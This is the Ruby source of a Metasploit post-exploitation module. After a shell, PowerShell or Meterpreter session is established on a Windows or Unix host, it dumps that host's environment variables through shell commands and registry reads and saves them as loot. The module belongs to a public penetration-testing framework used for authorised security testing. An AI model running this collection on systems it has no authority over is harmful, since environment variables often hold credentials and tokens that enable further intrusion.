metasploit-framework/modules/post/multi/gather/env.rb

101 lines
2.9 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Multi Gather Generic Operating System Environment Settings',
'Description' => %q{ This module prints out the operating system environment variables. },
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', 'egypt' ],
'Platform' => %w[linux win unix],
'SessionTypes' => %w[powershell shell meterpreter],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_getenv
stdapi_sys_process_execute
]
}
}
)
)
end
def run
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
print_status("Running module against #{hostname} (#{session.session_host})")
output = case session.type
when 'shell'
get_env_shell
when 'powershell'
get_env_powershell
when 'meterpreter'
get_env_meterpreter
end
fail_with(Failure::Unknown, 'Could not retrieve environment variables') if output.blank?
if session.platform == 'windows'
ltype = 'windows.environment'
else
ltype = 'unix.environment'
end
print_line(output)
path = store_loot(ltype, 'text/plain', session, output)
print_good("Results saved to #{path}")
end
def get_env_shell
cmd = session.platform == 'windows' ? 'set' : 'env'
cmd_exec(cmd)
end
def get_env_powershell
res = cmd_exec('Get-ChildItem Env: | ConvertTo-Csv')
output = []
csv = CSV.parse(res, skip_lines: /^#/, headers: true)
csv.each do |row|
output << "#{row['Key']}=#{row['Value']}"
end
return output.join("\n")
end
def get_env_meterpreter
case session.platform
when 'windows'
var_names = []
var_names << registry_enumvals('HKEY_CURRENT_USER\\Volatile Environment')
var_names << registry_enumvals('HKEY_CURRENT_USER\\Environment')
var_names << registry_enumvals('HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment')
var_names.delete(nil)
output = []
session.sys.config.getenvs(*var_names.flatten.uniq.sort).each do |k, v|
output << "#{k}=#{v}"
end
return output.join("\n")
else
# Don't know what it is, hope it's unix
print_status("Executing 'env' on #{sysinfo['OS']}")
chan = session.sys.process.execute('/bin/sh', '-c env', { 'Channelized' => true })
return chan.read
end
end
end